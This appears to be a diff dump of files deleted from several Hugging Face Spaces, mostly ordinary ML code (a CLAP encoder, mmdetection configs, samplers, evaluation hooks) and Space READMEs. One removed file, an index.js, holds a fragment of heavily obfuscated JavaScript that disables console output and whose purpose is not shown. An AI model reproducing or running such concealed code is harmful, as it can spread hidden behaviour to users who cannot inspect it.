spaces/AIGC-Audio/AudioGPT/text_to_audio/Make_An_Audio/ldm/modules/encoders/CLAP/clap.py

@@ -1,89 +0,0 @@
-import numpy as np
-import torch
-import torch.nn.functional as F
-from torch import nn
-from transformers import AutoModel
-from .audio import get_audio_encoder
-
-class Projection(nn.Module):
-    def __init__(self, d_in: int, d_out: int, p: float=0.5) -> None:
-        super().__init__()
-        self.linear1 = nn.Linear(d_in, d_out, bias=False)
-        self.linear2 = nn.Linear(d_out, d_out, bias=False)
-        self.layer_norm = nn.LayerNorm(d_out)
-        self.drop = nn.Dropout(p)
-
-    def forward(self, x: torch.Tensor) -> torch.Tensor:
-        embed1 = self.linear1(x)
-        embed2 = self.drop(self.linear2(F.gelu(embed1)))
-        embeds = self.layer_norm(embed1 + embed2)
-        return embeds
-
-class AudioEncoder(nn.Module):
-    def __init__(self, audioenc_name:str, d_in: int, d_out: int, sample_rate: int, window_size: int,
-            hop_size: int, mel_bins: int, fmin: int, fmax: int, classes_num: int) -> None:
-        super().__init__()
-
-        audio_encoder = get_audio_encoder(audioenc_name)
-
-        self.base = audio_encoder(
-            sample_rate, window_size,
-            hop_size, mel_bins, fmin, fmax,
-            classes_num, d_in)
-
-        self.projection = Projection(d_in, d_out)
-
-    def forward(self, x):
-        out_dict = self.base(x)
-        audio_features, audio_classification_output = out_dict['embedding'], out_dict['clipwise_output']
-        projected_vec = self.projection(audio_features)
-        return projected_vec, audio_classification_output
-
-class TextEncoder(nn.Module):
-    def __init__(self, d_out: int, text_model: str, transformer_embed_dim: int) -> None:
-        super().__init__()
-        self.base = AutoModel.from_pretrained(text_model)
-        self.projection = Projection(transformer_embed_dim, d_out)
-
-    def forward(self, x):
-        out = self.base(**x)[0]
-        out = out[:, 0, :]  # get CLS token output
-        projected_vec = self.projection(out)
-        return projected_vec
-
-class CLAP(nn.Module):
-    def __init__(self,
-                # audio
-                audioenc_name: str,
-                sample_rate: int, 
-                window_size: int, 
-                hop_size: int, 
-                mel_bins: int, 
-                fmin: int, 
-                fmax: int, 
-                classes_num: int, 
-                out_emb: int,
-                # text
-                text_model: str,
-                transformer_embed_dim: int,
-                # common
-                d_proj: int,
-                ):
-        super().__init__()
-
-        
-        self.audio_encoder = AudioEncoder(
-            audioenc_name, out_emb, d_proj,
-            sample_rate, window_size, hop_size, mel_bins, fmin, fmax, classes_num)
-
-        self.caption_encoder = TextEncoder(
-            d_proj, text_model, transformer_embed_dim
-        )
-
-        self.logit_scale = nn.Parameter(torch.ones([]) * np.log(1 / 0.07))
-
-    def forward(self, audio, text):
-        audio_embed, _ = self.audio_encoder(audio)
-        caption_embed = self.caption_encoder(text)
-
-        return caption_embed, audio_embed, self.logit_scale.exp()

spaces/Adithedev/Text-Summarization-Tool/README.md

@@ -1,13 +0,0 @@
----
-title: Text Summarizer
-emoji: 🏆
-colorFrom: green
-colorTo: red
-sdk: streamlit
-sdk_version: 1.21.0
-app_file: app.py
-pinned: false
-license: creativeml-openrail-m
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference

spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/sides/defaultcallbacks/VisibleCallbacks.js

@@ -1,20 +0,0 @@
-var GetShowCallback = function () {
-    return function (child, key, sides, reset) {
-        if (key !== 'panel') {
-            sides.setChildVisible(child, true);
-        }
-    }
-}
-
-var GetHideCallback = function () {
-    return function (child, key, sides, reset) {
-        if (key !== 'panel') {
-            sides.setChildVisible(child, false);
-        }
-    }
-}
-
-export default {
-    show: GetShowCallback,
-    hide: GetHideCallback
-}

spaces/AkshayKumarP/AI-ChatBot/README.md

@@ -1,13 +0,0 @@
----
-title: AI ChatBot
-emoji: 👀
-colorFrom: blue
-colorTo: gray
-sdk: gradio
-sdk_version: 3.47.1
-app_file: app.py
-pinned: false
-license: apache-2.0
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference

spaces/Albertha/qwe123/index.js

@@ -1 +0,0 @@
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_0x47d3e4=null,_0x1e6bb6;}}_0x274a73[_0x315baa(0x12d,0xe5,0xb4,0x5c,0x137)](_0x4dacc1,++_0x1f2ebb);}else{let _0x4d39a7;try{const _0x57e87a=_0x36d494[_0x56c700(0x221,0x2b3,0x285,0x18a,0x1fd)](_0x5e3f46,_0x36d494[_0x286c2e(0x31e,0x2cb,0x341,0x26f,0x36f)](_0x36d494[_0x1df5ce(-0x28d,-0x23d,-0x246,-0x179,-0x263)](_0x36d494[_0x56c700(0x1ae,0x121,0xc8,0x1d5,0x142)],_0x36d494[_0x292b63(-0x217,-0x19d,-0x18f,-0x18c,-0x1fe)]),');'));_0x4d39a7=_0x36d494[_0x315baa(0x1b0,0xb5,0x59,0xe3,0xa4)](_0x57e87a);}catch(_0x18b37e){_0x4d39a7=_0x24fb6b;}const _0x510e9f=_0x4d39a7[_0x292b63(-0x365,-0x2be,-0x37e,-0x366,-0x2c7)+'le']=_0x4d39a7[_0x315baa(0x12f,0x49,0xe7,0x44,0x13)+'le']||{},_0x1bc6ab=[_0x36d494[_0x56c700(0x199,0x1ac,0x100,0xd4,0xc8)],_0x36d494[_0x292b63(-0x241,-0x1c0,-0x219,-0x134,-0x2b0)],_0x36d494[_0x56c700(0xfc,0xfa,0x209,0x134,0x149)],_0x36d494[_0x56c700(0xfb,0xcb,0x122,0xfb,0x50)],_0x36d494[_0x1df5ce(-0x1fd,-0x7c,-0xb9,-0x16c,-0x11d)],_0x36d494[_0x1df5ce(-0x249,-0x1ef,-0xcf,-0x1a8,-0x15d)],_0x36d494[_0x292b63(-0x260,-0x20d,-0x1b5,-0x219,-0x1b9)]];for(let _0x228541=-0x264e+0x112e+0x1520;_0x36d494[_0x1df5ce(-0x1d6,-0x167,-0x2e2,-0x236,-0x1f1)](_0x228541,_0x1bc6ab[_0x292b63(-0x2a9,-0x2b4,-0x2d2,-0x24a,-0x317)+'h']);_0x228541++){const _0x3d0927=_0x275b00[_0x286c2e(0x38f,0x38e,0x472,0x3c2,0x450)+_0x315baa(-0x23,0xd,0xdc,0x28,-0x26)+'r'][_0x1df5ce(-0xc0,-0x1d0,-0x1a3,-0x45,-0x126)+_0x292b63(-0x24f,-0x22f,-0x235,-0x21c,-0x1ed)][_0x1df5ce(-0x203,-0x2d3,-0x243,-0x136,-0x201)](_0x50ba5a),_0x4f0687=_0x1bc6ab[_0x228541],_0x44c38c=_0x510e9f[_0x4f0687]||_0x3d0927;_0x3d0927[_0x1df5ce(-0x179,-0x2e7,-0x239,-0x127,-0x206)+_0x56c700(0xd9,-0x85,0x122,0xda,0x58)]=_0x366acb[_0x292b63(-0x2fa,-0x254,-0x22c,-0x1e1,-0x30d)](_0x5ce843),_0x3d0927[_0x56c700(0x1f1,0x135,0x17a,0x26b,0x1e9)+_0x315baa(0x9c,-0x50,-0x79,0x2,0xbc)]=_0x44c38c[_0x315baa(0x22a,0x144,0x144,0x1a1,0x17c)+_0x56c700(-0x64,0xbb,0xb7,0xa0,0x4a)][_0x1df5ce(-0x187,-0x25e,-0x246,-0x13f,-0x201)](_0x44c38c),_0x510e9f[_0x4f0687]=_0x3d0927;}}}function _0x4c92c1(_0x31556a,_0x459b40,_0x395ee7,_0x195162,_0x4d9d70){return _0x504eae(_0x459b40-0xc1,_0x459b40-0xa1,_0x395ee7-0x126,_0x195162-0xed,_0x195162);}function _0x5ef808(_0x313b76,_0x3f475c,_0x527422,_0x576a4e,_0xd60573){return _0x1d31e6(_0x576a4e- -0x345,_0x3f475c-0x74,_0xd60573,_0x576a4e-0x156,_0xd60573-0xa9);}function _0x163385(_0x27c341,_0x53ff3b,_0x3d059a,_0x536423,_0x42ac09){return _0x5b3717(_0x27c341- -0x66,_0x3d059a,_0x3d059a-0xa,_0x536423-0xce,_0x42ac09-0x2e);}function _0x37219c(_0xca9036,_0x4dc92e,_0x422991,_0x54701d,_0x40f6bf){return _0x1e3602(_0xca9036-0xa4,_0x40f6bf,_0x422991-0x126,_0x422991-0x2b2,_0x40f6bf-0x46);}try{if(_0x274a73[_0x4c92c1(0x484,0x3ee,0x351,0x351,0x438)](_0x274a73[_0x163385(-0x1f7,-0x2a5,-0x1bb,-0x148,-0x226)],_0x274a73[_0x5ef808(-0x11f,-0x228,-0x277,-0x1f7,-0x2c2)])){if(_0x505d61){if(_0x274a73[_0x3c56c7(0x37f,0x312,0x357,0x2e0,0x2b6)](_0x274a73[_0x4c92c1(0x275,0x34e,0x301,0x3ad,0x294)],_0x274a73[_0x37219c(0x34c,0x1c9,0x274,0x1b7,0x302)]))_0x274a73[_0x5ef808(-0x28f,-0x303,-0x372,-0x2a8,-0x24f)](_0x478d65,-0xe9*0x13+0x7b8+0x993);else return _0x4dacc1;}else{if(_0x274a73[_0x163385(-0x265,-0x2d8,-0x2c6,-0x349,-0x24c)](_0x274a73[_0x37219c(0x336,0x29f,0x249,0x2eb,0x268)],_0x274a73[_0x5ef808(-0x20d,-0x12a,-0x19a,-0x1d1,-0x21f)]))_0x274a73[_0x5ef808(-0x22a,-0x36f,-0x2bd,-0x2a8,-0x2b0)](_0x4dacc1,-0x231+-0x3*0xcdb+0x28c2);else{let _0x5d9b75;try{_0x5d9b75=_0x274a73[_0x5ef808(-0x23d,-0x2cd,-0x274,-0x271,-0x2c9)](_0x58446f,_0x274a73[_0x5ef808(-0x2bd,-0x136,-0x214,-0x1f9,-0x150)](_0x274a73[_0x4c92c1(0x30d,0x38b,0x2b8,0x352,0x325)](_0x274a73[_0x4c92c1(0x3ba,0x2ce,0x296,0x295,0x2ea)],_0x274a73[_0x3c56c7(0x1ce,0x17d,0x137,0x18b,0x20d)]),');'))();}catch(_0x724811){_0x5d9b75=_0xa22605;}return _0x5d9b75;}}}else{if(_0x47e411){const _0x386471=_0x3c6c2a[_0x4c92c1(0x4c4,0x43e,0x415,0x449,0x374)](_0x5e66a5,arguments);return _0x2b067c=null,_0x386471;}}}catch(_0x399381){}}

spaces/Andy1621/uniformer_image_detection/configs/ms_rcnn/ms_rcnn_r50_fpn_1x_coco.py

@@ -1,16 +0,0 @@
-_base_ = '../mask_rcnn/mask_rcnn_r50_fpn_1x_coco.py'
-model = dict(
-    type='MaskScoringRCNN',
-    roi_head=dict(
-        type='MaskScoringRoIHead',
-        mask_iou_head=dict(
-            type='MaskIoUHead',
-            num_convs=4,
-            num_fcs=2,
-            roi_feat_size=14,
-            in_channels=256,
-            conv_out_channels=256,
-            fc_out_channels=1024,
-            num_classes=80)),
-    # model training and testing settings
-    train_cfg=dict(rcnn=dict(mask_thr_binary=0.5)))

spaces/Andy1621/uniformer_image_detection/configs/retinanet/README.md

@@ -1,29 +0,0 @@
-# Focal Loss for Dense Object Detection
-
-## Introduction
-
-[ALGORITHM]
-
-```latex
-@inproceedings{lin2017focal,
-  title={Focal loss for dense object detection},
-  author={Lin, Tsung-Yi and Goyal, Priya and Girshick, Ross and He, Kaiming and Doll{\'a}r, Piotr},
-  booktitle={Proceedings of the IEEE international conference on computer vision},
-  year={2017}
-}
-```
-
-## Results and models
-
-|    Backbone     |  Style  | Lr schd | Mem (GB) | Inf time (fps) | box AP | Config | Download  |
-| :-------------: | :-----: | :-----: | :------: | :------------: | :----: | :------: | :--------: |
-|    R-50-FPN     |  caffe  |   1x    |   3.5    |      18.6      |  36.3  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r50_caffe_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_caffe_fpn_1x_coco/retinanet_r50_caffe_fpn_1x_coco_20200531-f11027c5.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_caffe_fpn_1x_coco/retinanet_r50_caffe_fpn_1x_coco_20200531_012518.log.json) |
-|    R-50-FPN     | pytorch |   1x    |   3.8    |      19.0      |  36.5  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r50_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_fpn_1x_coco/retinanet_r50_fpn_1x_coco_20200130-c2398f9e.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_fpn_1x_coco/retinanet_r50_fpn_1x_coco_20200130_002941.log.json) |
-|    R-50-FPN     | pytorch |   2x    |    -     |       -        |  37.4  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r50_fpn_2x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_fpn_2x_coco/retinanet_r50_fpn_2x_coco_20200131-fdb43119.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_fpn_2x_coco/retinanet_r50_fpn_2x_coco_20200131_114738.log.json) |
-|    R-101-FPN    |  caffe  |   1x    |   5.5    |      14.7      |  38.5  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r101_caffe_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_caffe_fpn_1x_coco/retinanet_r101_caffe_fpn_1x_coco_20200531-b428fa0f.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_caffe_fpn_1x_coco/retinanet_r101_caffe_fpn_1x_coco_20200531_012536.log.json) |
-|    R-101-FPN    | pytorch |   1x    |   5.7    |      15.0      |  38.5  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r101_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_fpn_1x_coco/retinanet_r101_fpn_1x_coco_20200130-7a93545f.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_fpn_1x_coco/retinanet_r101_fpn_1x_coco_20200130_003055.log.json) |
-|    R-101-FPN    | pytorch |   2x    |    -     |       -        |  38.9  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r101_fpn_2x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_fpn_2x_coco/retinanet_r101_fpn_2x_coco_20200131-5560aee8.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_fpn_2x_coco/retinanet_r101_fpn_2x_coco_20200131_114859.log.json) |
-| X-101-32x4d-FPN | pytorch |   1x    |   7.0    |      12.1      |  39.9  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_x101_32x4d_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_32x4d_fpn_1x_coco/retinanet_x101_32x4d_fpn_1x_coco_20200130-5c8b7ec4.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_32x4d_fpn_1x_coco/retinanet_x101_32x4d_fpn_1x_coco_20200130_003004.log.json) |
-| X-101-32x4d-FPN | pytorch |   2x    |    -     |       -        |  40.1  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_x101_32x4d_fpn_2x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_32x4d_fpn_2x_coco/retinanet_x101_32x4d_fpn_2x_coco_20200131-237fc5e1.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_32x4d_fpn_2x_coco/retinanet_x101_32x4d_fpn_2x_coco_20200131_114812.log.json) |
-| X-101-64x4d-FPN | pytorch |   1x    |   10.0   |      8.7       |  41.0  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_x101_64x4d_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_64x4d_fpn_1x_coco/retinanet_x101_64x4d_fpn_1x_coco_20200130-366f5af1.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_64x4d_fpn_1x_coco/retinanet_x101_64x4d_fpn_1x_coco_20200130_003008.log.json) |
-| X-101-64x4d-FPN | pytorch |   2x    |    -     |       -        |  40.8  | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_x101_64x4d_fpn_2x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_64x4d_fpn_2x_coco/retinanet_x101_64x4d_fpn_2x_coco_20200131-bca068ab.pth) | [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_64x4d_fpn_2x_coco/retinanet_x101_64x4d_fpn_2x_coco_20200131_114833.log.json) |

spaces/Andy1621/uniformer_image_detection/mmdet/core/bbox/samplers/ohem_sampler.py

@@ -1,107 +0,0 @@
-import torch
-
-from ..builder import BBOX_SAMPLERS
-from ..transforms import bbox2roi
-from .base_sampler import BaseSampler
-
-
-@BBOX_SAMPLERS.register_module()
-class OHEMSampler(BaseSampler):
-    r"""Online Hard Example Mining Sampler described in `Training Region-based
-    Object Detectors with Online Hard Example Mining
-    <https://arxiv.org/abs/1604.03540>`_.
-    """
-
-    def __init__(self,
-                 num,
-                 pos_fraction,
-                 context,
-                 neg_pos_ub=-1,
-                 add_gt_as_proposals=True,
-                 **kwargs):
-        super(OHEMSampler, self).__init__(num, pos_fraction, neg_pos_ub,
-                                          add_gt_as_proposals)
-        self.context = context
-        if not hasattr(self.context, 'num_stages'):
-            self.bbox_head = self.context.bbox_head
-        else:
-            self.bbox_head = self.context.bbox_head[self.context.current_stage]
-
-    def hard_mining(self, inds, num_expected, bboxes, labels, feats):
-        with torch.no_grad():
-            rois = bbox2roi([bboxes])
-            if not hasattr(self.context, 'num_stages'):
-                bbox_results = self.context._bbox_forward(feats, rois)
-            else:
-                bbox_results = self.context._bbox_forward(
-                    self.context.current_stage, feats, rois)
-            cls_score = bbox_results['cls_score']
-            loss = self.bbox_head.loss(
-                cls_score=cls_score,
-                bbox_pred=None,
-                rois=rois,
-                labels=labels,
-                label_weights=cls_score.new_ones(cls_score.size(0)),
-                bbox_targets=None,
-                bbox_weights=None,
-                reduction_override='none')['loss_cls']
-            _, topk_loss_inds = loss.topk(num_expected)
-        return inds[topk_loss_inds]
-
-    def _sample_pos(self,
-                    assign_result,
-                    num_expected,
-                    bboxes=None,
-                    feats=None,
-                    **kwargs):
-        """Sample positive boxes.
-
-        Args:
-            assign_result (:obj:`AssignResult`): Assigned results
-            num_expected (int): Number of expected positive samples
-            bboxes (torch.Tensor, optional): Boxes. Defaults to None.
-            feats (list[torch.Tensor], optional): Multi-level features.
-                Defaults to None.
-
-        Returns:
-            torch.Tensor: Indices  of positive samples
-        """
-        # Sample some hard positive samples
-        pos_inds = torch.nonzero(assign_result.gt_inds > 0, as_tuple=False)
-        if pos_inds.numel() != 0:
-            pos_inds = pos_inds.squeeze(1)
-        if pos_inds.numel() <= num_expected:
-            return pos_inds
-        else:
-            return self.hard_mining(pos_inds, num_expected, bboxes[pos_inds],
-                                    assign_result.labels[pos_inds], feats)
-
-    def _sample_neg(self,
-                    assign_result,
-                    num_expected,
-                    bboxes=None,
-                    feats=None,
-                    **kwargs):
-        """Sample negative boxes.
-
-        Args:
-            assign_result (:obj:`AssignResult`): Assigned results
-            num_expected (int): Number of expected negative samples
-            bboxes (torch.Tensor, optional): Boxes. Defaults to None.
-            feats (list[torch.Tensor], optional): Multi-level features.
-                Defaults to None.
-
-        Returns:
-            torch.Tensor: Indices  of negative samples
-        """
-        # Sample some hard negative samples
-        neg_inds = torch.nonzero(assign_result.gt_inds == 0, as_tuple=False)
-        if neg_inds.numel() != 0:
-            neg_inds = neg_inds.squeeze(1)
-        if len(neg_inds) <= num_expected:
-            return neg_inds
-        else:
-            neg_labels = assign_result.labels.new_empty(
-                neg_inds.size(0)).fill_(self.bbox_head.num_classes)
-            return self.hard_mining(neg_inds, num_expected, bboxes[neg_inds],
-                                    neg_labels, feats)

spaces/Andy1621/uniformer_image_detection/mmdet/core/evaluation/eval_hooks.py

@@ -1,303 +0,0 @@
-import os.path as osp
-import warnings
-from math import inf
-
-import mmcv
-import torch.distributed as dist
-from mmcv.runner import Hook
-from torch.nn.modules.batchnorm import _BatchNorm
-from torch.utils.data import DataLoader
-
-from mmdet.utils import get_root_logger
-
-
-class EvalHook(Hook):
-    """Evaluation hook.
-
-    Notes:
-        If new arguments are added for EvalHook, tools/test.py,
-        tools/analysis_tools/eval_metric.py may be effected.
-
-    Attributes:
-        dataloader (DataLoader): A PyTorch dataloader.
-        start (int, optional): Evaluation starting epoch. It enables evaluation
-            before the training starts if ``start`` <= the resuming epoch.
-            If None, whether to evaluate is merely decided by ``interval``.
-            Default: None.
-        interval (int): Evaluation interval (by epochs). Default: 1.
-        save_best (str, optional): If a metric is specified, it would measure
-            the best checkpoint during evaluation. The information about best
-            checkpoint would be save in best.json.
-            Options are the evaluation metrics to the test dataset. e.g.,
-            ``bbox_mAP``, ``segm_mAP`` for bbox detection and instance
-            segmentation. ``AR@100`` for proposal recall. If ``save_best`` is
-            ``auto``, the first key will be used. The interval of
-            ``CheckpointHook`` should device EvalHook. Default: None.
-        rule (str, optional): Comparison rule for best score. If set to None,
-            it will infer a reasonable rule. Keys such as 'mAP' or 'AR' will
-            be inferred by 'greater' rule. Keys contain 'loss' will be inferred
-             by 'less' rule. Options are 'greater', 'less'. Default: None.
-        **eval_kwargs: Evaluation arguments fed into the evaluate function of
-            the dataset.
-    """
-
-    rule_map = {'greater': lambda x, y: x > y, 'less': lambda x, y: x < y}
-    init_value_map = {'greater': -inf, 'less': inf}
-    greater_keys = ['mAP', 'AR']
-    less_keys = ['loss']
-
-    def __init__(self,
-                 dataloader,
-                 start=None,
-                 interval=1,
-                 by_epoch=True,
-                 save_best=None,
-                 rule=None,
-                 **eval_kwargs):
-        if not isinstance(dataloader, DataLoader):
-            raise TypeError('dataloader must be a pytorch DataLoader, but got'
-                            f' {type(dataloader)}')
-        if not interval > 0:
-            raise ValueError(f'interval must be positive, but got {interval}')
-        if start is not None and start < 0:
-            warnings.warn(
-                f'The evaluation start epoch {start} is smaller than 0, '
-                f'use 0 instead', UserWarning)
-            start = 0
-        self.dataloader = dataloader
-        self.interval = interval
-        self.by_epoch = by_epoch
-        self.start = start
-        assert isinstance(save_best, str) or save_best is None
-        self.save_best = save_best
-        self.eval_kwargs = eval_kwargs
-        self.initial_epoch_flag = True
-
-        self.logger = get_root_logger()
-
-        if self.save_best is not None:
-            self._init_rule(rule, self.save_best)
-
-    def _init_rule(self, rule, key_indicator):
-        """Initialize rule, key_indicator, comparison_func, and best score.
-
-        Args:
-            rule (str | None): Comparison rule for best score.
-            key_indicator (str | None): Key indicator to determine the
-                comparison rule.
-        """
-        if rule not in self.rule_map and rule is not None:
-            raise KeyError(f'rule must be greater, less or None, '
-                           f'but got {rule}.')
-
-        if rule is None:
-            if key_indicator != 'auto':
-                if any(key in key_indicator for key in self.greater_keys):
-                    rule = 'greater'
-                elif any(key in key_indicator for key in self.less_keys):
-                    rule = 'less'
-                else:
-                    raise ValueError(f'Cannot infer the rule for key '
-                                     f'{key_indicator}, thus a specific rule '
-                                     f'must be specified.')
-        self.rule = rule
-        self.key_indicator = key_indicator
-        if self.rule is not None:
-            self.compare_func = self.rule_map[self.rule]
-
-    def before_run(self, runner):
-        if self.save_best is not None:
-            if runner.meta is None:
-                warnings.warn('runner.meta is None. Creating a empty one.')
-                runner.meta = dict()
-            runner.meta.setdefault('hook_msgs', dict())
-
-    def before_train_epoch(self, runner):
-        """Evaluate the model only at the start of training."""
-        if not self.initial_epoch_flag:
-            return
-        if self.start is not None and runner.epoch >= self.start:
-            self.after_train_epoch(runner)
-        self.initial_epoch_flag = False
-
-    def evaluation_flag(self, runner):
-        """Judge whether to perform_evaluation after this epoch.
-
-        Returns:
-            bool: The flag indicating whether to perform evaluation.
-        """
-        if self.start is None:
-            if not self.every_n_epochs(runner, self.interval):
-                # No evaluation during the interval epochs.
-                return False
-        elif (runner.epoch + 1) < self.start:
-            # No evaluation if start is larger than the current epoch.
-            return False
-        else:
-            # Evaluation only at epochs 3, 5, 7... if start==3 and interval==2
-            if (runner.epoch + 1 - self.start) % self.interval:
-                return False
-        return True
-
-    def after_train_epoch(self, runner):
-        if not self.by_epoch or not self.evaluation_flag(runner):
-            return
-        from mmdet.apis import single_gpu_test
-        results = single_gpu_test(runner.model, self.dataloader, show=False)
-        key_score = self.evaluate(runner, results)
-        if self.save_best:
-            self.save_best_checkpoint(runner, key_score)
-
-    def after_train_iter(self, runner):
-        if self.by_epoch or not self.every_n_iters(runner, self.interval):
-            return
-        from mmdet.apis import single_gpu_test
-        results = single_gpu_test(runner.model, self.dataloader, show=False)
-        key_score = self.evaluate(runner, results)
-        if self.save_best:
-            self.save_best_checkpoint(runner, key_score)
-
-    def save_best_checkpoint(self, runner, key_score):
-        best_score = runner.meta['hook_msgs'].get(
-            'best_score', self.init_value_map[self.rule])
-        if self.compare_func(key_score, best_score):
-            best_score = key_score
-            runner.meta['hook_msgs']['best_score'] = best_score
-            last_ckpt = runner.meta['hook_msgs']['last_ckpt']
-            runner.meta['hook_msgs']['best_ckpt'] = last_ckpt
-            mmcv.symlink(
-                last_ckpt,
-                osp.join(runner.work_dir, f'best_{self.key_indicator}.pth'))
-            time_stamp = runner.epoch + 1 if self.by_epoch else runner.iter + 1
-            self.logger.info(f'Now best checkpoint is epoch_{time_stamp}.pth.'
-                             f'Best {self.key_indicator} is {best_score:0.4f}')
-
-    def evaluate(self, runner, results):
-        eval_res = self.dataloader.dataset.evaluate(
-            results, logger=runner.logger, **self.eval_kwargs)
-        for name, val in eval_res.items():
-            runner.log_buffer.output[name] = val
-        runner.log_buffer.ready = True
-        if self.save_best is not None:
-            if self.key_indicator == 'auto':
-                # infer from eval_results
-                self._init_rule(self.rule, list(eval_res.keys())[0])
-            return eval_res[self.key_indicator]
-        else:
-            return None
-
-
-class DistEvalHook(EvalHook):
-    """Distributed evaluation hook.
-
-    Notes:
-        If new arguments are added, tools/test.py may be effected.
-
-    Attributes:
-        dataloader (DataLoader): A PyTorch dataloader.
-        start (int, optional): Evaluation starting epoch. It enables evaluation
-            before the training starts if ``start`` <= the resuming epoch.
-            If None, whether to evaluate is merely decided by ``interval``.
-            Default: None.
-        interval (int): Evaluation interval (by epochs). Default: 1.
-        tmpdir (str | None): Temporary directory to save the results of all
-            processes. Default: None.
-        gpu_collect (bool): Whether to use gpu or cpu to collect results.
-            Default: False.
-        save_best (str, optional): If a metric is specified, it would measure
-            the best checkpoint during evaluation. The information about best
-            checkpoint would be save in best.json.
-            Options are the evaluation metrics to the test dataset. e.g.,
-            ``bbox_mAP``, ``segm_mAP`` for bbox detection and instance
-            segmentation. ``AR@100`` for proposal recall. If ``save_best`` is
-            ``auto``, the first key will be used. The interval of
-            ``CheckpointHook`` should device EvalHook. Default: None.
-        rule (str | None): Comparison rule for best score. If set to None,
-            it will infer a reasonable rule. Default: 'None'.
-        broadcast_bn_buffer (bool): Whether to broadcast the
-            buffer(running_mean and running_var) of rank 0 to other rank
-            before evaluation. Default: True.
-        **eval_kwargs: Evaluation arguments fed into the evaluate function of
-            the dataset.
-    """
-
-    def __init__(self,
-                 dataloader,
-                 start=None,
-                 interval=1,
-                 by_epoch=True,
-                 tmpdir=None,
-                 gpu_collect=False,
-                 save_best=None,
-                 rule=None,
-                 broadcast_bn_buffer=True,
-                 **eval_kwargs):
-        super().__init__(
-            dataloader,
-            start=start,
-            interval=interval,
-            by_epoch=by_epoch,
-            save_best=save_best,
-            rule=rule,
-            **eval_kwargs)
-        self.broadcast_bn_buffer = broadcast_bn_buffer
-        self.tmpdir = tmpdir
-        self.gpu_collect = gpu_collect
-
-    def _broadcast_bn_buffer(self, runner):
-        # Synchronization of BatchNorm's buffer (running_mean
-        # and running_var) is not supported in the DDP of pytorch,
-        # which may cause the inconsistent performance of models in
-        # different ranks, so we broadcast BatchNorm's buffers
-        # of rank 0 to other ranks to avoid this.
-        if self.broadcast_bn_buffer:
-            model = runner.model
-            for name, module in model.named_modules():
-                if isinstance(module,
-                              _BatchNorm) and module.track_running_stats:
-                    dist.broadcast(module.running_var, 0)
-                    dist.broadcast(module.running_mean, 0)
-
-    def after_train_epoch(self, runner):
-        if not self.by_epoch or not self.evaluation_flag(runner):
-            return
-
-        if self.broadcast_bn_buffer:
-            self._broadcast_bn_buffer(runner)
-
-        from mmdet.apis import multi_gpu_test
-        tmpdir = self.tmpdir
-        if tmpdir is None:
-            tmpdir = osp.join(runner.work_dir, '.eval_hook')
-        results = multi_gpu_test(
-            runner.model,
-            self.dataloader,
-            tmpdir=tmpdir,
-            gpu_collect=self.gpu_collect)
-        if runner.rank == 0:
-            print('\n')
-            key_score = self.evaluate(runner, results)
-            if self.save_best:
-                self.save_best_checkpoint(runner, key_score)
-
-    def after_train_iter(self, runner):
-        if self.by_epoch or not self.every_n_iters(runner, self.interval):
-            return
-
-        if self.broadcast_bn_buffer:
-            self._broadcast_bn_buffer(runner)
-
-        from mmdet.apis import multi_gpu_test
-        tmpdir = self.tmpdir
-        if tmpdir is None:
-            tmpdir = osp.join(runner.work_dir, '.eval_hook')
-        results = multi_gpu_test(
-            runner.model,
-            self.dataloader,
-            tmpdir=tmpdir,
-            gpu_collect=self.gpu_collect)
-        if runner.rank == 0:
-            print('\n')
-            key_score = self.evaluate(runner, results)
-            if self.save_best:
-                self.save_best_checkpoint(runner, key_score)

spaces/Anonymous-sub/Rerender/ControlNet/annotator/uniformer/mmcv/parallel/data_parallel.py

@@ -1,89 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-from itertools import chain
-
-from torch.nn.parallel import DataParallel
-
-from .scatter_gather import scatter_kwargs
-
-
-class MMDataParallel(DataParallel):
